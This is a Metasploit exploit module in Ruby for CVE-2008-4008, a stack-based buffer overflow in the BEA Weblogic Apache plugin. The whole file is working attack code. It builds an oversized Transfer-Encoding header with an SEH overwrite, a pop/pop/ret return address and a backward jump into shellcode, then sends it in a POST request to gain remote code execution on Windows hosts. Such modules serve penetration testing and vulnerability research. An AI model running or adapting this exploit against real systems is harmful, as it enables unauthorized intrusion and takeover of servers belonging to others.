BEA Weblogic Transfer-Encoding Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack based buffer overflow in the BEA
        Weblogic Apache plugin.  This vulnerability exists in the
        error reporting for unknown Transfer-Encoding headers.
        You may have to run this twice due to timing issues with handlers.
      },
      'Author'         => 'pusscat',
      'References'     =>
        [
          [ 'CVE', '2008-4008' ],
          [ 'OSVDB', '49283' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => true,
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0d\x0a",
          'StackAdjustment' => -1500,
        },
      'Targets'        =>
        [
          [  'Windows Apache 2.2 version Universal',
            {
              'Ret' => 0x1001f4d6,    #pop/pop/ret
            }
          ],
        ],
      'DisclosureDate' => '2008-09-09',
      'DefaultTarget'  => 0))
  end

  def exploit

    sploit = rand_text_alphanumeric(5800)
    sploit[5781, 8] = generate_seh_record(target.ret)
    # Jump backward to the payload
    sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
    sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded

    datastore['VHOST'] = 'localhost'
    send_request_cgi(
      {
        'method'  => 'POST',
        'url'     => '/index.jsp',
        'data'    => '',
        'headers' =>
          {
            'Transfer-Encoding' => sploit
          }
      })

    handler

  end
end